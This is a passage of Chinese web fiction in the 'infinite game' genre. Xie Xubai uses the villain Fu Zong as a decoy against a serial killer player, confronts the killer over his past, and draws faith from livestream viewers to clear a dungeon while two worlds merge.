一部分玩家没能反应过来,猝不及防一个踉跄倒地,仓促翻滚躲开怪物的獠牙,捂着砰砰打鼓的心口大骂:“我靠,谁开大了?能不能提前吱一声!?” 下一秒又一场震动波从四面八方传来,战场人仰马翻,大楼疯狂摇晃,人们这才意识到不对劲。 他们骇然抬头,只见天空裂开数道猩红的口子,狰狞的紫色电流噼里啪啦萦绕周边,透过口子缝隙,竟隐约能看见高楼大厦。 重点是里面的建筑物很熟悉。 机敏的玩家反应极快地视线下移,比对裂缝下方的建筑物,那里也伫立着一座大厦。 同样的玉白色菱形墙漆面,扇形玻璃幕墙,从外观上看,两座大厦简直一模一样。 不,应该说它们就是现实世界和里世界的对照组! 为什么裂缝中会有现实世界的画面,这意味着什么?为什么他们感觉那些建筑在迫近? “这是又怎么了?副本又作什么妖??” “系统!系统!出来解释一下,是不是副本出bug了!?” 众人还在议论,下一秒只听一声震耳欲聋的金石嗡鸣,是玻璃摩擦地面的声响。 只见大厦无限接近于裂缝,片刻后,竟是以头顶尖端倒悬的姿态,朝里世界的玩家露出尖锐的一角。 玩家惊恐高喊:“艹!那幢楼快掉下来了,大家快跑!” 话音未落,转眼整幢大厦失去束缚,以肉眼难以企及的速度飞速下坠,宛如大型陨石! 底下的玩家疯狂逃窜,拔腿之时,金光落在他们的双腿上,瞬间几人行动如风,勉强赶在大楼掉落之前逃开。 ——轰! 大厦相撞,钢筋龙骨和承重墙同时不堪重负断裂,碎裂的石块玻璃在剧烈冲撞中犹如雨下,噼里啪啦,割开草皮,砸碎石板路,扬起大片灰尘。 傅氏集团的员工只来得及惶恐抬头,就被砸成模糊的肉泥,鲜血四溅。尘浪滚滚,淹没诸多凄厉的惨叫声。 眨眼之间,整个战场化为废墟! 紧跟着就是“融合”。 大厦从高空的裂缝砸下来,是硬物的质感,可玩家们抬头却看见,那些坚硬沉重的石砖,在造成大规模冲撞后,不过静置两秒,便诡异地化作柔软的胶装液体。 它们流水一般行走,寻找自己的“贴图”,砖瓦贴合,玻璃镶嵌,狰狞的裂缝像被无形的大手抹去。 不过呼吸间,一幢崭新且看不出任何异常的的大厦恢复如初,屹立在原本的位置。 逃过一劫的玩家甚至来不及喘上一口气,惊讶这荒诞离奇的一幕,便在仰头时,呼吸猝然一滞。 他们骇然看见,高空那数不清的裂缝,接二连三地滑出楼房或其他建筑的一角,锐利的尖端朝下,正对地面,像填弹的炮口,密密麻麻,嵌满了天穹。 实验室里的周潮生在动静发生的一刻,飞快调出监控。 部分监控摄像头损坏,屏幕呈现失真的电子雪花,仅剩的那么几个分频,放映着外界如同末日降临的一幕。 周潮生沉声道:“两个世界正在融合!” 他紧盯着监控屏幕中被误伤的人群,眼底流露出不忍和痛色,显然也没能预料到现实世界和里世界的融合,会引动这么惨烈的灾难! 可这仅仅只是开始。 谢叙白注意到,从裂缝中掉出来了一个人。 没错,一个人,普普通通正在遛狗的人。 他极其惨烈地从高空坠落,来不及惨叫便咽了气,随后那诡异的复原过程也在他身上应验。 丝丝缕缕的阴冷白雾,将惨不忍睹的尸体包裹,就像奇迹再现,无数块裂成渣的骨骼拼凑在一起,裂纹消失,破损的脏器归位,染上健康的润色,血肉模糊的脑袋恢复如常,展露白皙干净的皮肤。 复生的人目光呆滞地站在大街上,直至一声不满的狗叫将他唤醒。 他浑身一个激灵,清醒过来,低头看看狗,又看看荒芜破败的四周,竟像个没事人一样,低头哼哼唧唧地搓上两把狗头,继续牵着狗绳往前走。 中途,这人还被怪物的半截尸体绊了下脚,差点摔倒,他骂骂咧咧,无视浓郁的血腥味,狠狠地踹了尸体一脚。 谢叙白集中注意力,分辨他说话的口型。 监控蒙上灰,又有莫名的磁场干扰,无法精准收音,画面也看不真切,但隐隐约约,他依稀能够判断出那人骂的是:“……哪儿来的路障!” 刹那间谢叙白意识到,诸多如曾经的他一般的普通人NPC,正在游戏副本中归位。 这些普通NPC受到认知限制,无法察觉异常。 不是普通人看见真相后异化成怪物,而是他们受到污染,异化成怪物后,才能看见世界残酷的本貌。 从始至终,诡异就一直存在,污染也是。 嗡、嗡……! 裴玉衡扶住桌子,艰难稳住身形,口袋里的手机不断震动,将他唤回神。 原本停电和城市里的信号基站被毁后,手机就不能用了,但是在各个投资商入驻阶段,变成怪物的维修员工复岗,修复电路,恢复用水用电,各项通讯设备也重新恢复使用。 看清楚来电显示,裴玉衡没法淡定,快速接通。 下一秒,李医生的大喊混着杂音传出。 “……接通了!所长,所长?是你吗?你们怎么样?这个世界简直中了邪!我在联盟分局递交傅氏集团的罪证,结果墙砖地板全在消失!人也不动弹了,我摸不到他们的心跳!” 现实世界,显示通话中的手机放在冰凉的地板上,李医生边朗声说明现场的情况,边满头大汗地给瘫倒的执法人员做心脏复苏。 一下,两下,三下…… 发抖的手掌将男人的胸口按得震响,那人却始终没有反应。 李医生的手脚越发冰凉,嘴唇不由自主地开始哆嗦:“醒一醒!啊!怎么就,怎么就没有呼吸了啊!醒啊!” 在他的周围,大厅设施如同淡化的图层,失去色彩,失去实感,除去脚下的地面,都变得虚幻起来。 来回奔走匆匆忙忙的执法人员定在原地,瞳孔涣散,胸口没有一丝起伏,寂静的大厅回响着李医生的大喊,听不到那些人的呼吸声,衬得他们像一个个失去动力的发条木偶。 李医生从来没有见过这种匪夷所思的场面。 人救不活了,他在执法人员冰凉的身体上,感受不到一丝活人的生气。 明明二十多分钟前,这名沉稳可靠的小伙子还接待了他,看出他的不安和警惕,还给他倒来一杯温热水,笑着劝他放松。 李医生头晕目眩,突然很想嘶吼。 环顾眼前荒诞离奇的一幕,最终,他恍惚地看向通话屏幕,有气无力的声音中,透着压抑的哽咽:“……所长,副所长,现在我们该怎么办……?” 国内,执法机构犹如守望的灯塔,只要它还存在,人们就知道自己有冤可申,有靠山可以依靠。 即便在里世界经历过一段秩序崩溃的日子,李医生骨子里依然镌刻着朴实的希望,相信只要上面一出手,万万个人民联合起来,众志成城,总能化险为夷。 却不想游戏做绝,直接抹除联盟政局的存在。 对平头老百姓来说,天塌了也不过如此。 ……那些莫名消失的英勇魂灵,若是人民都忘记了他们,他们又会迷失在何处? 事态到了这一步,不亚于将谢叙白他们逼上绝路。 可苍天似乎还嫌打压得不够狠,还要在绝望的人脊背上,落下最后一根稻草。 魔术师凝重的声音从电话中传来:“裴余,你是不是在旁边,能不能听见我说话?” “长话短说,一个坏消息,排行榜上的那个疯子也在当前副本,那家伙专挑好人折磨致死,特殊NPC谢叙白就在他的猎杀范围内!” “追踪道具显示,疯子已经离开了现实世界,如果不出我的预料,他应该在寻找谢叙白的路上,必须尽快找到谢叙白,将他保护起来,不然玩家会再度变成一盘散沙!” 魂不守舍的裴玉衡猛然抬头,像不堪重负的人濒临爆发的边缘,嗓音嘶哑扭曲,透着冰冷的怒意:“你说什么?谁要对谢叙白出手??” 一只手拍在裴玉衡的后背,接过他的手机。 谢叙白对着电话说:“我知道了,你们那边小心,凡事以安全为主。” 波澜不惊的语气令魔术师微微一愣,副本眼看着要彻底崩盘了,他没想到谢叙白还能保持以往的镇定。 但不得不说,局势乱成这种地步,正是有谢叙白这样定海神针在,才叫人安心。 这样的人怎么会寂寂无名? 魔术师有些心动,要不副本结束后要个联系方式,把人拉进公会…… 他猛地摇了摇头,甩开那些有的没的想法,在电话那头重申强调道:“你再坚持一下,我马上赶过来!” 电话刚一挂断,裴玉衡便转向周潮生,红着眼决绝地问道:“老师,我要怎么做才能取代傅倧?” 终于到了这一步,周潮生嚅嗫嘴唇,喉咙好像塞满尖锐的刀子,刮得口腔鲜血淋漓,刺痛难忍,连一个字都说不出来。 他潜入傅氏药业当卧底的这段时间,收集到不少内部资料,其中还整理出一本怪物图鉴。 扒人皮的画皮鬼,找人替死的水鬼,食腐而生的食尸鬼……都能满足裴玉衡的要求。 然而这些诡怪都是厉鬼,它们的诞生也伴随着凄惨到令人发指的死法。 裴玉衡想要变成它们,必将如它们一样,经历生不如死的折磨,最后凄惨死去。 凝视面前芝兰玉树的年轻人,丝丝缕缕的黑色怨气不断生成,翻涌不止——周潮生再一次体会到前所未有的绝望。 却在这时,两道温暖的金光同时笼罩他们两人的身上,安抚动荡不稳的心神。 窸窸窣窣。 周潮生听到一阵翻箱倒柜的声音,回头一看,只见谢叙白动作流畅像仓鼠,分分钟找出好几支恢复精神力的药剂,就要往嘴里送。 周潮生惊呆了,劈头盖脸夺过药剂瓶,然而谢叙白的手速太快,里面已经一滴不剩。 他叫囔起来,染着惨白尸气的脸活生生气得通红:“你干什么?这些药不能多喝!” 裴玉衡也着急,难得厉声:“傻子,吃坏肚子该怎么办?” 谢叙白若无其事地擦了下嘴角的药剂:“没事。” 他现在感觉特别好。 谢叙白伸出手,金光落在昏迷不醒的傅倧身上。 裴周两人不可思议地瞪大眼,在他们的视野中,傅倧的容貌竟是一点点发生变化,逐渐变成谢叙白那副温润俊美的长相。 谢叙白顺势捏出一个金色感叹号,挂在傅倧假扮的‘谢叙白’头顶,不断调整,方才满意收手。 裴玉衡反应过来:“你想让傅倧成为挡箭牌?” 谢叙白似乎笑了笑:“废物循环再利用,有何不可?” “以及……所长,你看着我。” 裴玉衡闻言抬眸,撞进谢叙白平静似水的眸眼。 那里面没有绝望,只有经历万千险阻后,依然磐石般屹立的百折不挠,和一如既往的坚定。 谢叙白如同预言般低声宣告:“这次,你会走上不一样的结局。” 第118章 打破直播镜头的信仰…… 傅倧在一片灼热的气浪中悠悠转醒。 四周是熊熊燃烧的建筑物,房屋倒塌,地上遍布焦黑的瓦砾,木板夹层被烧得噼啪作响,高温致使空气扭曲,皮肉烧灼的焦臭味弥漫开来,恍惚能看见断壁碎石压着怪物扭曲的躯体。触目所及,宛若人间炼狱。 傅倧周身无一处不疼得剧烈,好像和谁疯狂打过一架似的,可他恍恍惚惚,印象模糊。 他只记得,自己昏迷前映入脑海的最后一幕,就是谢叙白拿着镇定剂,仿佛看垃圾一样冷漠的眼神睨向他,将药剂全部推入。 那股被人贬低的屈辱感后知后觉漫上心头,傅倧勃然大怒,顷刻间他发誓要找到谢裴周三人,将他们碎尸万段! 可这里是什么地方?是那些贱人把他丢来了这里?是想要借机烧死他吗?! 傅倧阴沉着脸满脑子恶念,就在这个时候,身边传来利器破空的爆鸣,异化鬼怪的敏锐神经令他反射性往后躲避。 漆黑镰刀出现,犹如锋利的断头铡,割开浓郁黑烟,径直扎在傅倧脚下的碎石堆里。 叮! 继清脆的金属凿地声后,地板以镰刀尖端为圆心,朝外龟裂出无数条细纹,在极大的压迫力下轰然爆炸,碎石飞溅! 傅倧猝不及防被石头渣子糊了一脸,本就狼狈的面容,更显得灰头土面。 他错愕抬头,见镰刀后缓缓浮现出一张苍白的面孔。 病态男人直勾勾地凝视傅倧,准确来说,是凝视傅倧头顶金灿灿的虚幻感叹号,如痴如醉,嘴里溢散出断断续续的低笑:“是啊,你不会那么容易死掉……这才是你该有的实力!!” 镰刀男,代号疯子,两个世界融合之际,他毫不避讳地冲进空间裂缝,直达里世界,分秒不停用道具追踪到幸存者基地,和被谢叙白特意丢过来的傅倧,来了个面对面拥抱。 彼时傅倧脸罩谢叙白用精神力技能加持的伪装,身携副本意志附加的诸多气运和超高能力数值,外加头上顶着一个十万瓦锃亮到难以忽略的金色感叹号,几乎第一时间就吸引了疯子的注意力。 以及他那把削铁如泥的大杀器镰刀。 傅倧遭到了疯子胡搅蛮缠的追杀,意识不清难以抵抗,打斗途中多次挂彩,被镰刀残忍地切开身体。 疯子越打越疑惑,越打越没劲,他看着毫无还手之力的傅倧,感觉传说中的谢叙白应该不止这种实力。 直到傅倧踉跄逃走,重伤倒在火海中,被灼热的高温彻底刺激清醒,再度迎上追赶过来的疯子。 傅倧看不见自己的脸被施加了精神暗示,也不知道疯子将他错认成谢叙白,满脑子回响起这人满含浓浓恶意的话。 ……不会那么容易死掉? 傅倧蓦地瞪大眼睛,感受着身上几道血窟窿带来的疼痛,他隐隐约约想起来了!刚才就是这不知死活的小子,趁他脑子不清醒,追杀的他! 原本傅倧就怀疑谢裴周三人故意把他丢到这里送死,如今追杀他的人就在眼前,还说什么死不死,他顺理成章地把疯子当作谋害自己的同伙! “贱人,给我死!”傅倧怒吼挥拳。 一瞬间疯子满含兴味的笑脸僵住,按照他从其他玩家那里道听途说来的描述,谢叙白怎么都不像是能骂出“贱人”的性格。 在他试图理智去看待这个问题之前,双手早已自然地握住镰刀,像被掐住尾巴的猫,歇斯底里地劈斩过去! “好好好,哈哈哈哈……!来啊!杀了我!” 毕竟沐浴鲜血杀疯了的疯子,又哪来的什么理智? 两人顿时战作一团!无论是他还是傅倧都想致对方于死地,动起手来当然没留余力。期间傅倧的拳头变成粗壮的利爪,但是疯子看不见,他感受着殴打过来的巨力,那力量竟然隐约可以压过他,瞬间发出更加兴奋的喘息! 嘭!嘭!嘭!—— 对招时,一阵又一阵强大的气浪朝四方涤荡,击穿石墙,摧毁楼房。 厂房的天然气管爆裂,丝丝散发出刺鼻难闻的气体,疯子毫不避讳,镰刀刮擦地板激射出火星,瞬间点燃充斥一方天地的天然气! 轰——! 火焰熊熊,直冲天际! 即使傅倧有怪物之躯,皮糙肉厚,在面对扑面而来的爆炸时,也会忍不住回避一下。 也是这扭开头躲避的间隙,他于电光火石间,瞄见横倒在地的半截标识牌,被熏黑的牌面上,蓝底白字标明神似“义务援助”的字样。 傅氏药业从来没有什么义务援助,只有利益相争和高官独大的权势压人。 也是这一刻傅倧那被杀意充斥的大脑终于清醒三分,发觉不对劲! 他所在的位置不对劲!眼前神神叨叨要杀他的人也不对劲! 说来倒霉,虽然傅倧一直有意针对幸存者基地,但因为被系统剥夺身份给玩家操作的空间,他没有一次有机会真正来到幸存者基地,不然也不会和疯子战斗这么久,都没认出来自己在哪儿。 可就算现在认出来,也已经晚了一步,无形的气流冲开漫天黑雾,巨大的镰刀看似很慢其实一瞬间就斩到了傅倧的腰腹,割破皮肤,撕扯脏器,血液如烟花般绽放! “啊——” 傅倧痛得放声怒吼!他毕竟是系统钦定的准S级诡王,岂会被一招毙命,两只手臂急速膨胀,在疯子意外惊愕的眼神中,蛮力捏住往腹部递进的镰刀,爪子掐捏疯子的肩膀,呼啦一下,竟是将其硬生生扯断!森森白骨瞬间曝露出来! 于是疯子也忍不住放声嘶喊。 谢叙白的精神干扰一直都不是单方面的,而是双向作用于两人身上,就比如疯子其实一直在张狂大笑,喋喋不休地说话干扰人,但是傅倧什么也没听见。 疯子说:“说什么神祇,不还是怪物的打法?你跟那些肮脏的怪物有什么两样?” 疯子说:“你暴露出真面目的丑脸真令人陶醉,如果不是不能开直播,我真想让其他人看看你现在的样子,以你现在的名气,热度一定会攀顶吧?” 疯子说:“我听说你这次也救了很多人,好好好,是大善人的作风——那么你还记不记得一个叫许清然的女孩?我亲手扭断了她的脖子哦。清脆的,非常好听!还有她临死前疯狂挣扎的模样,我录像了,你要不要也看一下?看一下吧,啊?” 很快,那猖狂的笑声就因为肩膀被扯断,而变成撕心裂肺的痛叫。 疯子在痛苦中发狠,傅倧在暴怒中拼命,威压和对战的冲击波如洪流冲击四面八方,一瞬间扫荡幸存者基地,最后几座实验楼也惨遭摧残,轰然倒塌! 巨大的爆炸中,整个幸存者基地化作一片废墟。 傅倧还是倒下了,没死,只是体力不支、镇定剂药效没过,加上痛得晕倒。 闭眼前他目眦欲裂,含恨至极,直到这一刻,都不知道自己被谢叙白充当了挡箭牌。 打架打了几小时,还断掉一条手臂,疯子同样精疲力竭,他在破碎的伤口截面上用力按了一下,立时止血。 捡起镰刀,看向人事不省的傅倧,疯子低笑一声,就要上去补刀。 也是这个时候,滚滚烟雾中传来不疾不徐的脚步声。 疯子目光一厉,仅剩的胳膊一甩,镰刀闪电般飞射出去,却打在了空荡无人的水泥断壁上。 再一抬头,一张温润如水的脸出现在疯子的眼前,居高临下,平和淡定地注视着他。 “那个叫许清然的女孩,被你杀掉了吗?” 尽管疯子的预感在战斗途中一再告诫他,刚才和他对打的人,有很大的概率不是谢叙白的本人,但疯子却不管不顾,就算打得不是谢叙白,其本尊也一定在附近围观。 他那些激怒人的话,就是说给正主听的。 然而,但这一刻来临,谢叙白就站在他眼前,语气状似平和地询问他时,疯子忽然感受到一股前所未有的压力。 眼前的青年看上去有些清瘦,没有强壮的身板和恐怖的体格,说话声音不大,混入人群中,也是不起眼的存在。 但一股不怒自威的气势,却从他笔挺如利剑出鞘的身体溢散而出,从他的骨子里和灵魂深处喷涌,摄人心魄。 疯子发现,自己居然在害怕,心虚,不敢面对这个人的诘问。 有趣有趣!这可真是有趣极了! 疯子的疯劲儿就在于不按常理出牌,越是害怕的东西,他越是感兴趣,想要去摧毁,去撕碎!这点在发现傅倧不好对付的前提下,他还要拼命杀掉对方就能体现出来。 于是疯子一扯嘴角,伸出完好的那条手臂,钉在墙上的镰刀嗡嗡振动,被无形的引力吸回他的掌心。 “是啊,我杀了她!而现在我也会杀了你!” 镰刀挥舞,在半空划出一个杀气腾腾的弧形,伴随疯子的笑声,割向谢叙白的脖颈,却击碎炙热的空气,扑了个空。 是幻影? 疯子的眸光轻微变化,谢叙白的声音从他的背后响起:“为什么要杀了我?因为我善良?因为我喜欢救人?” “还是因为你曾经是一个老好人,被人利用善心抓起来沦为实验体,疯狂寻死,却发现自己会保留惨死前的记忆?” 疯子就像被施展定身术,高高上扬的嘴角、绷紧的身体、还有那只握住镰刀的手,通通如同雕像般僵在原地。 疯子出自高塔,议会长曾对蝉生介绍过的高塔,致力于研究怎么破除系统的重生限制,让玩家死亡后依旧保存作战记忆。 在高塔研究的绝密实验档案中,记录着疯子的过往经历。 但和记录中有差异的是,疯子并非自愿成为实验体,而是被曾经救助过的爱人和朋友联合坑害,不仅骗光他的积分道具,还在最后将他卖给高塔,榨干剩余价值。 那两人只知道高塔招募志愿者,九死一生,却不知道他们在进行保留记忆的实验。 更不知道疯子在濒死关头居然爆发精神力,意外成为唯一的半成品,趁乱逃脱。 两人机缘巧合再次遇见光明正大走在街上的疯子,以为他死了一次,丧失记忆,重生回归,贪得无厌还想骗他第二次,主动笑着上前交好。 殊不知回来的是一头恶鬼,还是一头因为无边悔恨自己大发善心,从而怨恨上所有善举和好人的恶鬼。 疯子以为这段真相会被彻底掩埋,因为除他以外,现在的唯一知情人群,只有高塔上闭门不出的研究人员。 而那些道貌岸然的家伙,在发现他不是志愿者后,依旧因为能在他身上取得实验进展,选择将错就错留下他。 可谁想到,他竟然能从谢叙白的嘴中听到自己的过往。 “这就是神吗?你果然是神吗?全知全能的神明,能够了解世间的一切苦难!那你为什么没能救下那个女孩?为什么不知道她被我杀死?” 疯子丝毫没有因为过往被人揭露而产生情绪变化,不,应该说他更兴奋了,笑得眼泪水从眼角迸溅出来,笑得身子颤抖,歪七扭八站不稳,声音里全是嘲弄。 “现在神明大人要怎么审判我?杀死我给许清然偿命,还是劝我放下屠刀立地成佛?” 他的所作所为只能用肆无忌惮来形容,事实上,疯子确实毫无忌惮。 他不会失去记忆,就不怕死,泯灭人性的实验都挺过来了,更不怕折磨。 意识迷失在混乱的记忆里,连疼痛都变得模糊不清,断掉一只胳膊,还能和谢叙白有说有笑。 疯子说够了,见谢叙白只是静静地看着他,没有为许清然及那些遇害的好人愤愤不平,也没有其他反应,忽然觉得没趣。 他蹬地而起,眼神恶毒杀意迸溅,宛如离弦的利箭冲向谢叙白。 金光如浪潮般扑面而来,疯子不管不顾地冲上去,丝毫没有把这招式放在眼里。 直到他发现不同以往的异常。 周围怎么会……这么安静? 疯子动作刹停,镰刀悬在谢叙白的鼻前,茫然地看着青年。 声音消失了。 那些如同附骨之疽的恶言恶语、昔日爱人和朋友联手将他坑害的狞笑、骨头碎成骨刺穿透皮肉鲜血绽开的噗呲声。 还有研究人员从头顶传来的,一遍又一遍的高喊—— “加大剂量!再加大!束缚带呢?他发狂了在挣扎!绑住他的手脚!” “他要不行了,快用电击!调到最大功率!靠,通知重生点附近的观测人员注意,实验体编号533,等他复活后必须把他带回来!” 通通从脑海中荡然无存。 只留下一片纯白的平和,与久违的安宁。 疯子彻底怔住了,渐渐的,颤抖的瞳孔中透出几分小心翼翼。 没有疼痛,没有混乱的记忆,除了废墟上烈火烧灼木头的噼啪声,他几乎什么都感受不到,忍不住闭上眼睛去体会,去享受。 只有心理受创、常年被阴影环绕的人,才能理解这种宁静,有多么让人激动。 可是下一秒,金光消失,驳杂记忆再度如阴沟里的恶臭潲水,汹涌地冲进他的眼帘,染上一片暗沉的血色。 疯子就像吊在悬崖边上,亲眼看见绳索断裂的亡命徒,他忍不住发出高昂的尖叫,歇斯底里地看向谢叙白:“是你做的吗?是你做的对不对——” “没错。”谢叙白淡淡地说,“是我做的。” “被死亡记忆纠缠的日子很痛苦,对吧?其实最初的时候,你也庆幸过,庆幸自己能比其他玩家多拥有一份记忆,你能无限叠加通关经验,在副本中也愈发如鱼得水。” “可那时的你没有意识到,保留记忆也意味着无法遗忘痛苦,渐渐的,你时常会记忆混乱,其他人都忘掉的东西,唯独你还记得。看着他们没有阴霾的生活,不忿、怀疑、嫉妒、憎恨慢慢将你淹没。” “你想方设法重新回到高塔,逼问那些研究人员,得知他们也没办法帮你遗忘,等待你的只有一个意志崩溃成为疯子的下场,你终于爆发,从此以后,以虐杀好人来宣泄自己的满腔仇恨。” “你觉得自己已经没救了,所以要拉全世界下地狱,可不是的,你还有救。” “我有拯救你的能力。” 金光压住疯子的肩膀,逼迫他仓惶抬头,直视谢叙白的双眼。 那些负面阴暗的内心想法,被谢叙白抽丝剥茧地吐露出来。 疯子在谢叙白清亮的瞳孔中,看到自己慌张的嘴脸,好似明镜般映照出他的灵魂,让他无处遁形。 注意到疯子的渴望和哀求,谢叙白忽地轻笑出声,笑意却不达眼底:“可是我要救你吗?你告诉我。” “那个叫许清然的孩子,自身难保还想着保护他人,性子胆小却愿意为家人赴死。那些被你杀害的好人,爱护弱小,热心大方,仗义执言,不求回报帮助一切有需要的人……” “你的遭遇固然不幸,但没有招惹过你的他们就活该横死吗?至少在我这里,没有这样的道理。” 那些令疯子得意洋洋,被他挂在嘴边的战果,倏然全部化作审判的子弹穿透他的眉心。 “所以,真可惜啊。”谢叙白宛若感叹,“我原本是想救你的。” ——你原本,是能得救的。 “等一下,等等!”疯子终于生出无边悔意,很久不曾感受到的绝望蔓延而上,他啪一声丢掉染血的镰刀,用力去够谢叙白的衣角,双眼通红恳求,“别放弃我!再给我一次机会好吗?求求你,再给我一次机会!让我做什么都可以!!” 谢叙白没有说话,只是扬起一只手。 随着他的动作,滚滚黑烟被无形的气浪吹散,露出玩家们那错愕的面容。 原来由始至终他们就一直留在这里,充当观众。 疯子的表情再度一僵,但紧接着他发现,谢叙白让其他玩家暴露,不是为了给他难堪。 又或者说,谢叙白从来没有把他的威胁放在心上。 金光铺洒出去,犹如冬日里的阳光笼罩在所有人的头顶,但又比那更温暖,更广阔,自高处普照大地,连墙角阴影也不曾遗漏。 谢叙白用精神力传达心念,他温和地说:【我知道你们每个人的诉求。】 有了疯子这一活生生的例子,没人会在质疑这句话所蕴含的分量。 但谢叙白要做的,不是口头上的陈述。 他一口气喝光周潮生的药剂,就是为了让精神力发挥到极限,可以同时辨析所有玩家的精神力波动,探视他们内心深处最强烈的渴望。 【我能助你们达成所愿。】 玩家们迷茫抬头。 一眨眼的时间,有人的眼前忽然扬起缥缈如丝绸的柔光。 柔光缓缓退散,年迈佝偻的身影站在饭桌前,发丝雪白,手里端着盛好的米饭。 听到身后传来的动静,老妇人转过身,慈祥的眼眸在一瞬间绽放出惊喜的笑意,又盈满心疼的泪水。 她乐乐呵呵地走过来,全身写满迫不及待,粗糙的手掌在围裙上用力擦拭两下,往上抚摸人的脸,嘴里轻颤着念叨出两个字。 ——瘦了。 这名五大三粗的玩家,刀子卡在骨头上不曾喊一声痛,眼泪却在此时骤然夺眶而出! 信仰之力再次涌来,几经筛选和洗礼后,更加凝实。 但是对谢叙白来说,还不够,他想要的不仅如此。 精神力汇聚在一起,犹如漫漫金色银河,水流薄纱般荡漾开来,又瞬间化作怒海浪涛,眨眼间攻上虚空中一直高高挂起的存在! 那就是——系统! 游戏系统对谢叙白的突然发难完全始料未及,就像当初【医院规则】也没想到谢叙白胆敢和自己抗衡。 如果它有人类的情感,此时必定瞠目结舌:你什么实力,胆敢和我叫嚣!? 然而它又错了,谢叙白不是想和它正面对抗,从头到尾他就只有一个明确的目标,直播。 他想让自己的力量,通过系统直播为跳板,穿透镜头,施加在屏幕前的观众身上。 这次的副本足够大,但也只能容纳几百名玩家,能够取得的信仰之力有限。 而在屏幕前,数以亿计的观众在聚精会神地观看直播,星火汇聚,足以燎原,谢叙白正是想要得到他们的信仰! 可就算谢叙白的精神力已经强大到一定地步,他也没那么容易,短时间内在坚固的系统屏障上撕出一个突破口。 系统对谢叙白的打压尽含杀招,即使是微小的疏忽,也可能造成谢叙□□神力溃散,重伤而亡。所以谢叙白在拼命,用尽全力去争取那不可能! 在这局势紧张胶着难分的争斗之际,全心投入的谢叙白,没有感受到怀里的金丝眼镜似有所感地晃动了一下。 下一秒,一个消失已久的黑色小章鱼出现在废墟上空,冰冷无情的猩红血瞳如利刃般直射虚空。 噗呲。 仿佛有什么东西应声而碎,谢叙白的精神力终于找到那一道微乎其微的缺口,洪流般倾泻而入。 屏幕前的观众,只觉得眼睛晃了一下,下一秒便被金光笼罩。 人们的欲望不尽相同,有人想要亲人活过来,有人想要名利权望,有人想要过回无限游戏降临前不再风雨飘摇的日子,有人渴望世界和平。 谢叙白让他们看见想要的东西,震撼死水般无澜的心灵。 让观众真正感到不敢置信,爆出轰然阵仗的是——谢叙白,能触及玩家空间?? 一个NPC再怎么像真人,通过镜头看过去,玩家也无法产生实质的情感,可如今,谢叙白居然打破了维度的屏障,实际地来到了他们的面前! 这不正是——神迹吗?! 刹那间信仰之力滚滚而来,不断充盈谢叙白的精神力。 哪怕没有上亿,只是数万条代表信仰之力的金色线条汇集一处,也足以构成奔涌的浪潮。 气浪翻涌,金光普照,青年如巍峨高山屹立在血色废墟之上,衣摆随狂风鼓动,腰背提拔削瘦,场面恢弘壮阔,直叫旁观者内心如擂鼓,嘭嘭震响! 无形之中,谢叙白隐约摸到了成神的门槛。 他唰一下睁眼,犀利的金色浮光掠过眼底,识念放射出去,如飓风席卷整座城市。 精神力随之如同离弦利箭穿透云霄,精准捕捉到每一名落荒而逃的傅家人。 “怎么回事?什么东西缠着我?啊啊啊啊!” “让我登机,让我走,不,不要抓我,我不要回去!” “我错了,放过我!” …… 以雷霆手段控制傅家人的谢叙白,也顺势放出威压,控制住整个傅氏集团。 他的精神力不止如利刃迅猛,还化作温润的微风,吹进将要消失的联盟政局,围绕那木偶空壳般不能动弹的执法人员,将微弱的灵魂稳固其中。 在这短短几分钟的时间内,谢叙白对当前副本的掌控力直达巅峰! 即便系统不甘心地想要催化傅倧觉醒成最终BOSS,也不可能先越过他。 【叮!恭喜各位玩家达成通关条件,提前完成本场试炼!】 副本通关了。 玩家们不由自主地看向废墟中的青年,处于同一水平线上,却忍不住用上仰望的动作,心里再度掀起惊涛骇浪。 那温和的嗓音涤荡在他们的耳边,是怜爱世间的神明,对信徒的回应与庇佑。 【如果你自认所作所为无愧于心,有朝一日深陷囹圄,走投无路,不妨轻唤我的名。】 第119章 “你是……谢语春?”…… 两个世界融合及基地爆发战火的时间段,幸存者们都躲藏在地下,惴惴不安地等待战斗结束。 约莫在爆炸停止的半个小时后,他们没有再听到其他动静,迫不及待地打开地下通道的防护门,重新返回地面。 放眼望去,遍地狼藉,硝烟弥漫。 看到昔日一点一滴亲手建立起来的幸存者基地变成废墟,人们愤恨不已,悲从中来。 不等他们收拾好心情,紧跟着一个惊天噩耗劈头砸下,犹如雷鸣震耳。 “所长受伤了!” 裴玉衡受伤了,当然是演出来的,因为在历史的节点上注定有这么一遭劫难:医院遇到爆炸,所有能证明裴玉衡辛劳奉献的研究资料在熊熊火焰中尽毁,不得不重建。建好之后没多久,裴玉衡因伤病去逝,合伙人傅倧顺势上位。 对幸存者基地的众人而言,这是相当艰难且混乱的一段时间。 基地毁了,即使提前预料到灾难,组织人员撤离,没有出现重大的伤亡,但造成的损失,也叫无数人眼前一黑。 世界大变样,他们的家好像回来了,又好像彻底消失了,永远无法回到从前。 一些人离开,去另谋出路。一些人茫然地选择回家,不知所踪。 期间,离开的人也有回来的,留下些物资,又再度消失。 犹如顶梁柱的所长倒下去,因为受伤时不小心接触到污染物质,无法得到有效治疗,身体一天天虚弱衰败下去,负担不了重建基地的重担,迫不得己,只能接受对家傅氏药业的资助。 幸运的是,基地三大支柱中的其余两位,副所长裴余还在,李安民医生也还在。 经由他们出面协商,一切很快步入正轨。 基地众人也发现,和傅氏药业作对的时候,好像全世界寸步难行,生活物资买不到,各种器材店不对外开放,重建流程被卡在申请环节。 但当傅氏药业成为基地的盟友,全世界又像给他们开了绿灯。不止超市有打折便利,各种店铺都能免费办理VIP成为至尊用户,甚至不用四处托关系找人细谈,只要一个电话打过去,建筑施工队便在一小时内全员到齐,重建施工的耗材更不用他们去费心,自然有人全盘安排好。 对比之下,待遇天差地别。 渐渐的,有些势利眼的人心境发生改变,心气跟着飘起来,埋怨裴玉衡当初就不该得罪傅氏药业,要不然他们早就过上了好日子,何至于前期这么憋屈? 这些人聚众一合计:与其让病秧子裴玉衡占着院长的位置碌碌无为,不如拥护傅倧成为新的顶头上司! 到那时候,他们就有“从龙之功”!一定会被提拔成高管,获得更好的福利待遇,钱权那是手到擒来! 可惜他们的白日梦还没做起来,暗地里撺掇傅倧把裴玉衡拉下台的隐秘心思,就被人给当众告发。 谢叙白根本不惯着他们。 大庭广众之下,金光如长鞭舞得虎虎生威,将这些吃里扒外的东西抽得哭爹喊娘,抱头鼠窜,狼狈地逃窜出基地。 